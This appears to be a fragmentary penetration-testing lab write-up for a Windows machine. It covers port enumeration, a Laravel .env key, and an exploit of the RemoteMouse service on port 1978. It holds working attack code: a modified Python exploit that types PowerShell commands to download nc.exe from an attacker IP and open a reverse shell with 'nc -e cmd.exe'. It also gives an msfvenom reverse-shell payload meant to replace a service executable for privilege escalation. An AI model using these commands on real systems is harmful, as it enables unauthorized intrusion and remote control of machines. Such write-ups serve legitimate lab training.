Professional Documents
Culture Documents
89 - Esm
89 - Esm
1 | Page
.89 Machine
Open ports
.editorconfig
On 8090
192.168.xx.89:8090/project/
Tried to enum
Found a laravel app
Folders:
2 | Page
.env file contains a app key
(Tried msf and decrypting .env or exploiting it with .env key but not work)
Also on
/storage/framwork/sessions/
Found sessions
We noticed that 1978 port is open. We googled it and we found that port is for remotemouse
https://wintelguy.com/port-search/1978
Or simply
3 | Page
We found the exploit for the remoutemouse
https://www.exploit-db.com/exploits/46697
Ref:
https://hackersinterview.com/oscp/reverse-shell-one-liners-oscp-cheatsheet/
4 | Page
5 | Page
Add the ip and port
Open terminal
Nc -lnvp 445
(GOLDEN)
def PopCalc(ip):
MoveMouse(-5000,3000,ip)
MousePress(mouse.leftClick,ip)
sleep(2)
SendString('''powershell''',ip)
sleep(3)
SendString("\n",ip)
sleep(5)
SendString('''Invoke-WebRequest -Uri 'http://192.168.101.13/nc.exe' -OutFile
C:\Users\Public\nc.exe ''',ip)
6 | Page
sleep(1)
SendString("\n",ip)
sleep(1)
print("SUCCESS! Process calc.exe has run on target",ip)
def PopCalc(ip):
MoveMouse(-5000,3000,ip)
MousePress(mouse.leftClick,ip)
sleep(1)
SendString('''cmd.exe''',ip)
sleep(1)
SendString("\n",ip)
sleep(1)
SendString(“C:\Users\Public\nc.exe 192.168.101.13 1212 -e cmd.exe",ip)
sleep(1)
SendString("\n",ip)
sleep(1)
print("SUCCESS! Process calc.exe has run on target",ip)
Or
7 | Page
Privesc:
8 | Page
We found the privesc exploit
9 | Page
1. Generate malicious .exe on attacking machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.163 LPORT=443 -f exe >
/var/www/html/enterprisesystemmanager.exe
4. Rename C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe
enterprisesystemmanager.exe > enterprisesystemmanager.bak
10 | Page